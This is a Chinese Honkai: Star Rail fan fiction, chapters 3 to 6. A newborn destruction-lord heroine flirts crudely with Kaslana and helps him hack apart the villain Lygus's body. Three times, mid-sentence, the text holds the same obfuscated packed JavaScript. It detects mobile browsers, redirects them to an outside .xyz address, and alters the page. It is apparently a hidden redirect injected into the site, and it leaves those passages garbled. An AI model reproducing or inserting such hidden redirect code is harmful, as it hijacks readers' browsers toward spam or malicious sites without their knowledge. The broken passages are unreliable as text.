《新生绝灭大君只想种田[崩铁]》 3. 被剧情虐晕第三天 眼见耳闻着铁墓满嘴跑火车已经很痛苦了,但更令卡厄斯兰那痛苦的是他秒懂了那什劳子“太太你也不想……”的经典句式套用。 卡厄斯兰那当然是能听懂的,虽然他本人阳光开朗正直友爱还没对象,根本没机会开发出奇奇怪怪的电脑配件喜好,但神悟树庭的友爱之馆收录了整个翁法洛斯的藏书,其中不乏牛头人方向的大作。而那时还是在闲暇时热爱编造野史的白厄的他淘书并没有忌讳,除了正经书什么都看,但凡能将研读乱七八糟读物的劲头放在正经学术上也不至于反复延毕了。 牧暮视侵晨如无物,故意继续夹着嗓子“桀桀桀”怪笑几声,向卡厄斯兰那靠近的同时疯狂暴言:“白厄你一个小猫咪你还能怎么样~你还能逃出我的手掌心吗?你不能啦!嘿嘿嘿嘿吼吼哈哈~~~” 凭此承载亿万火种的身躯早已不畏寒暑,卡厄斯兰那还被牧暮不正常的语调夹得脊背发凉,身后大翅膀一扇不进反退出好大一段距离,没表情的脸上明晃晃的写着“这家伙脑子怕不是有什么大病千万别传染给我”。 此时此刻,侵晨的作用不再是进攻,而是用于守护自身的清白。而卡厄斯兰那看牧暮的表情就像是当初看到万敌偷偷抱着穹浴宫里那只黄金大海豹蹭脸颊。 用奇美拉也能听得懂的解释就是,真唐门的见了鬼了。 牧暮也看出了他唯恐避之不及?:“怎么,身为负世之泰坦的你要逃避自己的使命,竟不愿付出区区献身于我的代价换得翁法洛斯的留存吗?” “你在说什么鬼话?”卡厄斯兰那丝毫不买账,看似普通随意的站姿实则绷紧了全部的神经,凭借身经百战的经验,无论是来自哪个方向的袭击都能以最快速度完美的进行反击,“拿我当白痴戏耍也要有个限度,无论你如何花言巧语也休想我将自身数据拱手相让。” “停,打住,stop!”牧暮紧急叫停免得卡厄斯兰那的情绪再次陷入盛大的愤怒之中,“谁说我是要你的数据了?我要那玩意干嘛,哥们儿别想那么复杂,我只是很单纯的馋你身子!” “……” 单纯吗?这单纯吗?这到底哪里单纯了? 卡厄斯兰那差一点爆改吐槽役,好在轮回的次数足够多当哑巴的经验足够丰富,在话出口之前强行闭上了嘴巴,但远了看嘴唇徒劳的轻微开合像是被气得微微发抖,好一副被浪荡子调戏了敢怒不敢言的黄花大闺女样。 敌进我退,敌退就轮到我方进行骚扰了。 牧暮毫不犹豫的欺身上前,她的身高放在同性中算得上鹤立鸡群,但站在原本就高大此刻还悬停在空中的卡厄斯兰那面前活像个黑不溜秋的烤土豆,实在谈不上什么气势压迫感之类的东西。 得想个法子撑下场子…… 法子还没想出来呢,仅仅是脑海中生出这样的想法,身后便凭空展开一对羽翼带着她整个人猛地往斜上方一冲,跟个空包弹似的精准命中悬停在前方的卡厄斯兰那身上, 咳,之所以说空包弹而不是别的更有杀伤力的家伙,纯粹是牧暮本人完全没有飞行经验,零帧起手搞这么一下就成了自鲨式袭击,让自己的脑门跟完全没预料到有此一劫的卡厄斯兰那的胸二肌来了个致死量的接触。 身负无敌buff连痛感都没感受到多少的牧暮却一手勾住卡厄斯兰那的脖子,扒着他装出一副晕乎乎的状态。 卡厄斯兰那嘴角抽搐,想把她推开但是尴尬的一幕再次出现——笑死,根本推不动。行动上被武力胁迫着,他只能从言语上试图让牧暮主动松手:“别装了,侵晨都无法伤害到你,又怎么会因为轻轻一撞就头晕。” 牧暮吸了一口厄猫的原装口水巾,颤巍巍地抬起另一只空闲的手竖了个大拇指:“我从小身体不好,见奶就晕,而阁下心胸宽广,不得不扶啊!” “……” 之前牧暮费尽口舌也没能让卡厄斯兰那动摇,现在却凭借发癫几乎达成了目的,他真的开始怀疑起自己先前的判断——关于牧暮是不是铁墓这件事。 已经不是简单的“误入歧途”能形容的,如果这玩意是铁墓,很难想象她究竟通过黑潮深度学习了些什么玩意儿才变得这么癫。但若是黑潮里都是这这种玩意,倒也不难理解为什么杀伤力能那么大,真不是寻常人类的精神能承受得住的,怪不得所到之处寸草不生片甲不留。 也就是牧暮不知道他在想什么,否则一定会把自己凹成“乆”的形状大喊:“都是米哈游干的!是米哈游把我变成现在这样的!” 可惜她不知道,痛失了一次玩梗的机会,如今只能干巴巴的说着倒计时和威胁的话,在强制爱的邪道上头也不回的狂奔:“三、二、一、零。时间到,怎么样小白考虑好没有,要不要为了翁法洛斯能够拥有明天从了我呀?” 卡厄斯兰那很想硬气的回她“绝不”,可他不能,因为他知道对付没有足够强大力量的来古士可以通过卡bug让实验进程停滞的方式,但对上已经诞生的铁墓却行不通。 成功突破防火墙让他意识到翁法洛斯这个人为制造出的实验场的脆弱,积攒了千万纪元的愤怒足以焚毁它,那么连他都打不过的铁墓哪怕只是个新生儿,同样能轻而易举的做到毁灭孕育她的摇篮。 他不敢赌。 敢跟纳努克爆了是清楚此等破釜沉舟之举行于「毁灭」的命途之上,无论结果怎样,作为这条命途的概念神祂都不会因自己所做作为出手对付翁法洛斯。 不同于天高皇帝远的纳努克以及其他绝灭大君,铁墓是一个位于翁法洛斯内部的初生的绝灭大君,能力性格尚不明确,眼看着疯疯癫癫满口黄话的样子,却几次被他攻击都不曾发怒,想来是心智确未成熟,权当他是陪她闹着玩也说不定。但让凭借本能行事的婴孩拥有纷争泰坦的神力,是真的会比人格分裂的疯王可怕成千上万倍。 类比一下,当核按钮被婴儿掌控时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978194|177910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个星球的毁灭倒计时便已经开始读秒,谁都不知道毁灭何时而至,因为答案所有人都知晓,是随时。 卡厄斯兰那当然可以再度燃烧自己,他身为负世的救世主责无旁贷,可一旦他跟铁墓爆了却没能一击毙命,要承担铁墓反击的是好不容易等来了灰白色黎明的正试图抓紧最后一丝希望的翁法洛斯。 他赌不起。 黎明触手可及,翁法洛斯即将获得新生,那是卡厄斯兰那到达不了的“明天”,但没关系,崭新的轮回不会再有抢在黑潮之前杀死黄金裔夺取火种的盗火行者,这一次的白厄也不必再经历挚爱亲朋被残杀以及传火的痛苦,逐火之旅不会再是一场骗局……而换取一切幸福的微不足道的小小代价不过是卡厄斯兰那的献身。 哪怕接下来的“明天”没有自己也没关系,他可以接受自己倒在黎明前最后的黑暗中。 思路再怎么繁杂纷扰,时间却仅仅过去十几秒,已然下定了决心的卡厄斯兰那缓缓抬手,动作僵硬的环住牧暮的腰肢,对着她扯扯嘴角露出一个皮笑肉不笑:“考虑好了,我可以从……跟……和你在一起。” 磕磕绊绊,几番犹豫,最后用了个最要脸的说法。 虽然垮着个小猫批脸不情不愿,但又怕惹了牧暮这个巨婴,强行让身体从紧绷的状态放松下来。 这种口嫌体正直的表现对于牧暮而言反而更加美味。 谁说强扭的瓜不甜的?这瓜可太甜了! 比起硬邦邦堪比石头的肌肉,当然是放松时抱着更舒服,不过卡厄斯兰那身上凸出的裂痕偶尔会有点硌人。 明明剧情中刚变身时身上没有这么多碎裂痕迹,对比盗火行者被打掉面具时完全硬化如同破损雕像的状态,应该是上亿火种过于庞大的力量被强行灌入白厄这个普通人的身躯,导致他的身体时时刻刻都在崩毁。 但都已经从白厄变成神厄了,除了战斗力的提升,身体承受能力也该提升到神躯的境界才更合理吧? 牧暮只是一个念头闪过,就见卡厄斯兰那身上那些裂痕,尤其是边缘硬化如石料的部分正以肉眼可见的速度重新变回正常的血肉。 这下不光牧暮自己愣住,卡厄斯兰那更加惊愕,没人能比他更直观的感受到自身的变化,从接纳火种入体后持续灼烧得理智几乎蒸发的疼痛仿佛被瞬间抽离,身体轻松的不可思议,仿佛那些火种已经放弃了燃烧。 但只需他沉下心感受,就能知道火种不但一颗没少反而燃烧的更加猛烈,只是看起来安静无害罢了。 牧暮“哇”了一声笑眯了眼:“这可真是好大的惊喜!不如我们一会儿就做点什么凑个双喜临门吧。” 卡厄斯兰那的视线缓慢的专注的落在牧暮与他相像却笑容天真纯然的脸上,不等他说出推拒的话,牧暮便继续说道。 “都说第一次是要见血的,但你我的身体想弄出血还挺难的,要不一起去杀个来古士助助兴?” 4. 被剧情虐晕第四天 牧暮当然不只是嘴上爽一把就完,她只是想着既然卡厄斯兰那那么笃定自己是铁墓,而刚刚这具身体所展现出的坚硬、快速愈合、抹消攻击以及心想事成的能力,似乎在将这个荒谬的猜测一一验证。 既然如此,为什么不做点方便破冰的事呢? 理所当然承担破冰道具的重任落到了来古士这个人憎狗嫌的家伙身上,杀掉不会有任何人或者非人为他找场子,没有后顾之忧反而会赢得所有人的拍手叫好。 多么完美的工具人! 卡厄斯兰那对前半截话充耳不闻,垮着那张他没有世俗欲望但会让其他人很有世俗欲望的小猫批脸,但当听到后半截时突然就不困了:“你知道那胆小的卑劣者藏匿于何处?” 第一次还是第几次无所谓,助不助兴为什么助兴也不重要,唯独宰杀来古士,哪怕被砍下头颅的只是一个又一个分?身,但只要有机会,他会毫不犹豫的积极挥剑战斗。 笑话,他一时杀不死铁墓才需要耐下性子蛰伏,好精心策划出一场不会有任何失手可能的必杀。但来古士?明明是阴沟里的老鼠,还非要学癞蛤蟆爬人脚面上,既恶心又膈应人的破烂玩意儿,死不足惜,只会大快人心。 要是牧暮知道卡厄斯兰那绞尽脑汁想出的“恶毒”形容,只会觉得他辱老鼠□□了,从数量质量致死量上进行计量的话,来古士更像是广东特产双马尾,让人一想到就开始嘴角下撇皱眉紧皱想要尖叫跑开。 这样的表情却让卡厄斯兰那错以为是自己的语气态度冒犯到牧暮,他并不想向铁墓低头,却又不想错过弄死来古士的机会,于是尽可能温声为自己先前的话找补:“不是针对你,我曾无数次寻找来古士的本体,整个翁法洛斯没有任何一处是未曾踏足的,甚至包括冥界,但一无所获。所以只要能找到,本体分?身都一样,我不会放过任何一个。” “有这样的精气神儿你做什么都会成功的。哦,不对,你已经成功过很多次了……”牧暮被自己跑得比脑子转得快的嘴给刀了一下,决定把这个仇团吧团吧一并记到来古士的账上,正好也验证一下自己对现在这具身体能力的猜测,“卡厄……算了还是叫你小白吧,小白比较顺口。分?身能杀一个是一个挺好,能杀光最好,都是来古士那狗比应得的,但是小白,你难道真的不想把本体干掉吗?” 他怎么可能不想将来古士彻彻底底解决掉呢,无论翁法洛斯的本质是什么又是为了何种目的而存在,将其中全体生命(数据)的命运设置成固定导向毁灭这唯一结局的是来古士。 自称“观众”却摆出不平等的高高在上的“造物主”姿态,即使每次轮回都会被盗火行者或是白厄不止一次砍下头颅,那无机质闪着连电电弧的赤色电子眼中仍旧只有看向蝼蚁的傲慢。 区区傀儡,区区傀儡! 不过牧暮的话中显然透露出一线希望。 “所以你确实找到了?他在哪里,快告诉我!”卡厄斯兰那脱口而出。 牧暮不打算继续卖关子,她没必要在这种事上拼命拉低因自己存疑的身份导致本就不高的好感度:“是啊,我找到了,也知道为什么你一直找不到他了。那家伙本事不大也没有多么高明的藏身之法,但的确是个理论上不可能被你找到的地方——那个大聪明黏在翁法洛斯的外侧。” 这对于已经知晓一切,了解到洞穴之外另有天地的卡厄斯兰那而言并不难理解:“翁法洛斯的外侧……像无名客的来处一样,他的本体自始至终位于天外?我自以为困住了来古士,卡住了实验进程,可……”可是铁墓已然诞生,来古士实质上并没有受到任何限制,他完全可以来去自由! “别担心,那大聪明的身体有大半都嵌进翁法洛斯了,我带你过去一抓一个准,他跑不了一点。” 信心满满打着包票的牧暮一不小心顺手掐了掐卡厄斯兰那的后腰。嘿别说,你还真别说,一个肩宽顶得上两个自己、胸襟宽广的像海洋的威武雄壮的爷们竟然能拥有如此劲瘦有力的细腰,还得是二次元纸片人成精,米忽悠无论美工还是建模真的都太权威了。 但她没有发现卡厄斯兰那没反应是根本没听她说的话,已经完全陷入了思维的死胡同。 他的神情有些不明显的怔忡,来自曾经无数个自愿踏上轮回成为盗火行者的白厄的记忆翻涌,无数轮回中自己与其他白厄并无不同又完全不同,因为只有自己等到了语言中的灰白色黎明,也只有自己没有在火种集齐后进入缓冲区等待下一个轮回的开启。 多么微不足道的选择,微小到放进三千多万个纪元中的体量甚至比不上一粒尘埃,但或许正是这个错误的选择直接导致被bug卡住的进度条往前进了不起眼的0.1%,但正是这微不足道的0.1%使得实验进度达成了100%,铁墓提前诞生。 而在实验目标已经达成的情况下,翁法洛斯还有必要重启已经不再被需要的轮回吗? 可如果不重启,翁法洛斯的黎明要如何才能到来?逐火之旅所付出的牺牲翁法洛斯人民所遭遇的不幸要如何挽回?而自己一次又一次重来的坚持又算什么?一场跨越亿万年时长将所有人拖下水的自嗨吗! 谈论正事也没忘了跟两位大兄贴贴的牧暮的视角看不到卡厄斯兰那的表情变化,但当她能感受到对方逐渐紊乱的气息以及身体不自然的战栗时,猛地抬起头就看到那双金瞳略显涣散:“小白?白厄!不管你现在想的是什么,都给我清醒一点,还是说需要我通过物理方法帮你清醒清醒?” 一声大喝如惊雷般在卡厄斯兰那耳边炸响,零帧起手紧接而来的是劈头盖脸一个大逼斗。 力度刚刚好,懵逼不伤脑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978195|177910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 嗯,大概是不伤脑的,但不妨碍卡厄斯兰那被这一逼斗呼得脑瓜子嗡嗡的。 “咳,这次手比嘴先行动真的是很抱歉了。”牧暮不好意思的轻咳两声,“知道你急,但你先别急,都说了来古士是个大聪明,他本体虽然身处翁法洛斯的外侧,但大半个身体已经嵌进翁法洛斯了跑不了他的。” 作为大餐前重要的仪式,以及一些私人情绪,牧暮对这项活动很重视,她闭上眼睛确认了一下感知到的信息,才继续说:“事先说好,我可没杀过人也不敢动手,我只负责把你带过去,剩下的全部交给你解决,说好了,没别的问题了吧?没有我们出发?” “稍等。”卡厄斯兰那拒绝了牧暮要牵住他的手:“以普遍常理而论,来古士对铁墓而言应是父亲一般的存在,可你为何会弃他不顾反倒来帮我?” 这绝对不能算是安全的试探,卡厄斯兰那已经做好了牧暮瞬间翻脸的心理准备和战斗准备。 牧暮的反应却再次大大出乎卡厄斯兰那的想象,只见她想都没想就:“呵,父亲?凭他也配?他配钥匙配个几把啊配!” “骂的很好,下次别骂了。”相比之下卡厄斯兰那甚至觉得万敌的骂人方式变文雅了。 “我到底是不是铁墓这事放到一边。如果我是,没有来古士的干扰铁墓可能早不知道多少个琥珀纪就诞生了,这难道不算深仇大恨?如果我不是铁墓的话,就凭他设计了你们的苦难和死亡他就该死,难道还不允许我迁怒……不,不对,对始作俑者的恨意怎么能叫迁怒,那是他活该。” 在卡厄斯兰那震惊的目光中,牧暮坦然总结:“总而言之,你记住一点就行,我和来古士之间只有仇,没有恩,一丁点儿都没有。不过嘛,现在确实没什么信任基础,我也知道让你不怀疑我都很难为你了,更别说是索要信任这种珍贵无比的东西,所以有什么话都等到来古士死后再说。” 这一次没给卡厄斯兰那再次拒绝的机会,牧暮一把抱住他,大量的黑红色数据流顷刻包裹住二人,仅仅是一息之间权杖运行的核心区变回空无一人的荒野。 卡厄斯兰那在被那黑红数据流包围的瞬间是慌了一下的,类似于“这从头到尾只是铁墓与来古士联手布下用于获取自身所承载数据的陷阱”的想法刚要冒出来个芽,紧接着出现在眼前的宇宙、星空、星穹列车,以及仿佛是长在了那条流光溢彩的莫比乌斯环状光带上的来古士让他暂时抛开了恶意揣测。 “我……离开了翁法洛斯?”卡厄斯兰那不敢置信,哪怕这原本是亿万年前的那个自己如果选择听从来古士的引导接受星神瞥视后很有可能做到的事。 牧暮也是头一回站在宇宙之中以这样的视角俯视一颗星球:“是的,我们眼前的就是翁法洛斯在宇宙中的样子,怎么样,你的家乡很美,对吧?” 5.被剧情虐晕第五天 翁法洛斯真的是个很美丽的星球,隶属于不同泰坦的城邦各有特色,不同于一般以地表色彩为主的各色星球,也不像将万千洞府压缩到极致仍然恢宏磅礴的仙舟巨舰,明明内部形态与牧暮生活过的地球没有太大区别,但从外部观看却是呈现出流动态的环带状,长得像莫比乌斯环但微妙的并没有首尾相接。 唯一煞风景的是嵌在上面的来古士,牧暮仔细看了又看,好半天才确认了似乎就是有他存在,才让翁法洛斯对外的视觉效果呈现出断开的效果。 “是啊,她真美。”卡厄斯兰那喃喃自语,“这么美丽的地方,为何有人能眼睁睁看着她一次又一次的毁掉呢?” 哪怕知道这不过是自言自语,牧暮也没让他的话掉地上,认真的回应道:“因为有些捡到无主之物的畜生觉得自己拥有随意处置的权利?当然,更有可能的原因是在那家伙眼中,翁法洛斯只是一台运算‘生命第一因’的超级计算机,只是孵化足以毁灭智识星神的绝灭大君时必不可缺的工具,而你、我、翁法洛斯一切,不论是你家乡的麦田还是奥赫玛的云石天宫,都只是一串又一串数据代码。” “数据代码……呵。”卡厄斯兰那因愤怒发出嗤笑,“就让那傲慢的寄生虫品尝一下,被区区数据代码毁灭的滋味。” 话语内容很激昂,但语气却很平静,不过两人现在贴得紧,牧暮能感受到他胸腔的剧烈起伏,摸得出来他确实努力在控制情绪了。 “手感不错,咳,我是说你说得对。这么一看确实很像拨开猫猫狗狗柔软的毛发后露出的死死叮在皮肤上的蜱虫呢。” 关键时刻可不能心猿意马,牧暮及时撤回一次嘴瓢,若无其事的企图让卡厄斯兰那以为在他身上毛手毛脚的不过是幻觉。 有被无语到的卡厄斯兰那瞥了牧暮一眼,但也没多说什么,煽动翅膀携着她朝着来古士所在的方向疾驰,以每次眨眼翁法洛斯都会贴脸放大数倍的速度,竟在短短几息内便跨越了少说两万五千公里的距离。 这大概就是数据生命特有的超高速传导性叭。 原本她们两人所处的位置在星穹列车与翁法洛斯之间,理论上离星穹列车更近些,毕竟那么一长条离远了只剩条线了,而正常人类的体型放在宇宙中实在渺小到不起眼,哪怕闲到长蘑菇的家伙也未必也未必会关注远处是不是突然多出两颗小石子。 不过没关系,过会儿要闹出的动静指定不小,没人在乎蚂蚁搬家,但若是地龙翻身就不一样了,到时候有的是机会重新认识列车组的老伙计们。 因此直到两人突袭到来古士眼皮子底下,卡厄斯兰那用他特意凝聚出的四十米大剑兜头盖脸把来古士的脸给打掉,来古士才后知后觉的发现来自两位邻居的友好问候。 来古士的本体堪称巨大,牧暮和卡厄斯兰那在他面前像个小手办,这也是为什么卡厄斯兰那临时换了武器,他的侵晨被山之民拿在手中都显得过长,面对来古士本体比神殿承重柱还要粗的脖子细小的像是一根无害的毫针。 对此两人在远眺翁法洛斯却能看到来古士时就做好了心理准备,视力再好也隔着两三万公里呢,看清翁法洛斯全景的距离,仍一眼便发现他的存在,有点基本常识就该知道这玩意小不了一点。 只能说还好牧暮没有巨物恐惧症,而白厄在黎明云崖生活多年跟刻法勒低头不见抬头见的早已习惯,远的时候看来古士像块牛皮癣,显得翁法洛斯丑陋且不健康,近了看他没了面具掩饰的真容就更是不堪,这哪里是什么牛皮癣,分明是一颗巨型肿瘤! “是我赢了,「拾取星火的囚徒」,坚持三千万次有什么意义呢?不过是徒劳的挣扎。”没了面具遮挡顶着一张反派度高达百分之一万的智械脸的来古士端得一副高高在上的姿态,语气傲慢得意的同时难掩激动,“不过我还是很高兴看到你做出了明智的选择,这固然值得庆贺,但真正应该献上盛大欢宴的无疑是铁墓阁下的诞生。” 说着他狂热的视线落在仍被卡厄斯兰那紧紧揽在怀中的牧暮,然后,渐渐没了声。 在双开门健壮身躯的衬托下,新生的疑似女性的绝灭大君显得娇小又柔弱仿佛一朵需得攀附他人才得以生存的菟丝子花,但来古士偷偷伸出试探的精神触手尚未被卡厄斯兰那察觉,就被牧暮随意挥挥手在无声无息中碾碎。 哪里是什么菟丝子,分明是一朵食人花! 然而牧暮根本不知道来古士小耗子一样的暗中试探,仅仅是突然感觉有点刺挠像赶蚊子那样挥了挥手罢了。老老实实待在卡厄斯兰那怀里也只是本着占便宜没够的心思能贴多贴,绝不主动松开免得他突然贞洁烈男心爆发跑了;而卡厄斯兰那始终带着怀疑铁墓一直都是在演的警惕,同样担心牧暮会撒手没。 明明相互提防,偏偏呈现出的是一副甜甜蜜蜜黏黏糊糊的恩爱模样,把单身英雄父亲来古士看的不住摩擦发酸的机械关节。 “离她远一点,你这无知的可悲柴薪,勿要阻碍铁墓阁下履行祂与生俱来的使命!” 来古士本就对固执一根筋卡了三千万个纪元的bug导致实验进度严重拖延的卡厄斯兰那积累了大量不满情绪,现在精心培育多年的绝灭大君似乎是被卡厄斯兰那给摘了桃子,固然有他放松警惕错过了铁墓诞生瞬间的缘故,以及事先没考虑到铁墓诞生之初会初见的生物存在类似于“雏鸟情结”的可能性,但退一亿步讲难道卡厄斯兰那就没有错吗! 牧暮和卡厄斯兰那都不为所动,甚至觉得恶心。 “小白你打算什么时候动手弄死他丫的?”牧暮商量杀人越货连音量都不放低点,对来古士那么大个智械毫无尊重。 “你确定这是本体?”卡厄斯兰那自然不会在铁墓和来古士面前露怯。 “不排除他将智能核心藏匿在翁法洛斯以外的地方。”牧暮意有所指的盯着来古士胸前很适合放吧唧展示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984111|177910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架的空洞,“不过藏也藏不远,他镶在翁法洛斯的外壳上待了远不止一两天,我推测跟你和昔涟发起的永劫轮回有关,但那个时候意识到危机想藏起核心已经晚了。所以先把它身体干掉,智能核心我们可以在翁法洛斯周边慢慢找。” 卡厄斯兰那低头深深的看了牧暮一眼,一言不发的冲了出去,手中长得离谱的大剑丝滑的路过古士的脖子,但很遗憾没能像往常每一次那样让整颗脑袋掉下来,还剩一截金属外皮以及少许线路连接。 “哼,还是错估了这家伙的体型。”卡厄斯兰那为自己战斗上的失策感到懊恼。 “没能一击毙命啊,真是逊咧。”牧暮则是模仿那刻夏的调调开了句嘲讽。 智械脖颈平整的断口处时不时冒出电火花,噼里啪啦的动静在静谧的宇宙中还挺热闹,而断断续续的电子音从它空洞的胸腔中传出,带着些许回音:“以……绝灭大君「铁墓」……之名,你要……你要……向着一切悲剧的源头……倾泻怒火,黑潮摧毁……摧毁「智……” “聒噪。”卡厄斯兰那不耐烦听那带着大量杂音滋滋啦啦的电子遗言,手中长剑精准刺进那空腔向上一撩,将来古士上半截身体沿中轴线劈成两半,破坏胸腔共鸣让他无法再发言后,接下来的挥砍便随心所欲起来。 牧暮眼睁睁看着卡厄斯兰那将来古士一生二,二生三,三生万物,她一个从和平年代来的普通人哪里见过这么凶残的暴力拆解机器人的现场,还是超近距离那种,她一边庆幸还好来古士是智械不会像普通人类那样血肉横飞得打码,一边又怀疑这家伙是不是真的如此轻易就死了万一搞意识转移那一套怎么办。 哪怕有泄愤的成分,卡厄斯兰那动作仍旧很迅速,不过须臾破了个洞的翁法洛斯外壳附近散落着一大堆零零碎碎的太空垃圾,无声无息,连短路的电火花都不见了。 像是真的死透了。 不过鉴于敌方是狡猾的又无耻的高智商智械,牧暮还是不放心来古士的死亡真实性,灵机一动决定用杀人诛心的方式试探一下:“小白,来古士说我的使命是摧毁一切悲剧的源头?那他人还怪好的咧。” “来古士……人怪好的?”卡厄斯兰那思维卡壳了一秒,缓慢的眨了几下眼睛,大脑似乎在艰难的解析刚刚听到的语言。 懵懵黄金耶超可爱! 从外表完全看不出内心小人尖叫跑来跑去的牧暮抬手擦去卡厄斯兰那脸颊上不小心被蹭到的金属碎屑,笑眯眯的继续说道:“是啊,来古士阁下一定是知道你我人美心善,怕最后关头心软无法将它挫骨扬灰,特意在临终前许下心愿,让我把怒火倾斜到它这个‘一切悲剧的源头’身上,彻彻底底的,将整个寰宇有关‘来古士’的过去未来全部摧毁抹消呢。” 在卡厄斯兰那地铁老人手机的眼神中,牧暮继续对着那堆废铜烂铁输出:“怎么样来古士阁下,夙愿达成你一定非常非常满意,对吧?” 6.被剧情虐晕第六天 满意? 来古士怎么可能满意! 还没有死透正蛰伏着准备伺机逃跑的来古士残存的意识悲愤交加,甚至一度超越了对死亡的恐惧,用尽最后一丝力量与曾经是他身体一部分的废铜烂铁们共鸣,发出了响彻一整片星域的怒号。 “错了!错了!全错了!抛弃这台帝皇权杖的是博识尊,因此而诞生的铁墓你,你的仇恨你的怒火你的复仇,剑刃所指皆应是那该死的博识尊!” 那共鸣的动静太大,也不知道是怎么办到的,在宇宙这种理论上真空的环境中弄出那么大动静,震得人脑袋瓜子嗡嗡的。 牧暮把并没有耳鸣的耳朵贴在卡厄斯兰那胸前,双臂紧紧环着他劲瘦的腰,听着他胸腔中激烈的心跳声缓解心理上的不适。 而这亲密的姿态只会让来古士加倍红温。 那些残躯,不,已经不能称之为“残躯”,说是碎屑才更准确些。 那些碎屑之间闪起红色的电弧,恼人的尖锐电流音伴随着偶尔噼啪炸响的杂音昭示着来古士起落落落落落的激烈心绪,而后迅速被卡厄斯兰那细细切做臊子。 卡厄斯兰那一手揽着牧暮的背,另一只手还在不停的挥舞着剑,试图将来古士的碎屑搅成比火化烧得更干净的分子状态,剿灭它所有复生的可能性。 很麻烦,但看得出来他很乐意做这件事,疯狂上扬的嘴角几乎咧到耳根,以至于那笑容狂气到显得有些狰狞。 牧暮自下而上的视角中,卡厄斯兰那的脸扭曲程度更甚,但她不介意,甚至可以说她就好这一口,让神展现出人性什么的可太美味了。 只可惜卡厄斯兰那也好,昔涟也罢,他们作为数据再怎么说怎么做来古士都不会太在意,哪怕是拼上所有卡住实验进程也只能换来让它多看顾几眼,甚至没有太多面对犟种无奈之外的多余情绪波动。 但铁墓不同,祂是来古士花费几个纪元好不容易磨出来一把直抵博识尊命门的利刃,作为底层数据的反有机方程式在尚未完善的阶段就能短时间内毁灭一个又一个文明,明明就是一朵以最大的恶意作甘露、最深的仇恨为肥料精心培育出的恶之花。 所以来自铁墓的拒绝,来自铁墓的否定,来自铁墓的恨意,反而比起身体上的损毁更能重伤来古士。 因为付出,因为在意。 所以哪怕牧暮完全做不来打打杀杀,但确实有些事只有她能做到,就比如通过嘴炮给来古士造成一些精神上的真实伤害:“我记得帝皇权杖哇是因为鲁伯特驾崩才被统一进行人工销毁,关博识尊什么事?星神忙着演算寰宇进程,哪有闲工夫搭理我这种小卡拉米。” 牧暮小嘴叭叭一通感觉还没说够,眼珠子一转决定灭自己威风涨他人士气,俨然一副想把来古士气活过来的架势。 “再说了,让我打博识尊?来古士,动动你现在碎成屑的脑子,反有机方程式,来,跟我念一遍,反有机方程式,针对的是有机生命,博识尊是有机生命吗?况且我现在打不过小白,和他联手都没能把进不了天才俱乐部的你弄死,你还指望我能杀死星神呢?别说我根本没那个能力,退一万步讲要是我真有那么强的话,我第一个先灭了你,第二个打的就是纳努克,不想毁灭「毁灭」的毁灭令使不配走毁灭命途!” 无声无息,来古士没有再做出任何反应。 或许不是不想,而是不能。 但身为智识的废弃神经元被改造成帝皇权杖,又通过对大量模拟数据的深度学习才生成了这具躯体的铁墓,哪怕被外来的灵魂占据,却也本能的感受到周边微不可察的数据流向。 “抓到你……” 牧暮眼中的火焰明亮了几分,她凭借本能朝着斜前方伸出手,即将抓住那缕仓惶逃逸的意识之际,一股沉重到让人几乎要窒息的威压打断了她的感知。 仅一瞬之间,牧暮的周围仿佛改换了天地,怀中的卡厄斯兰那消失不见,取而代之的是一具距离上给人感觉既近又远的庞大宏伟身躯,衬得自己像是只从山脚下眺望珠穆朗玛峰顶的蚂蚁,偏偏又能看得清清楚楚,那黑肤白发富有且慷慨的做派,还有分离的神躯间金血缓缓流淌,毫无疑问是纳努克。 “我被纳努克拉到了命途狭间?” 牧暮一整个大震撼,哪怕这个名为铁墓的身体已经被瞥视过几次,尚未诞生便已经拥有令使级别的力量,牧暮还是觉得不可思议。 毕竟现在被「毁灭」瞥视的不再是铁墓,而是夺取了这具身体的牧暮。 可当牧暮隔着遥远的距离与那双金眸对视,似乎从那本该无情无波无澜的眸子中读出了期待与鼓励。 她恍然意识到纳努克此次或许大概可能应该真的是为自己而来,为了自己一时口嗨说出的“不想毁灭「毁灭」的毁灭令使不配走毁灭命途”…… 讲道理,口嗨也算数的吗?这是不是有点太荒谬了! 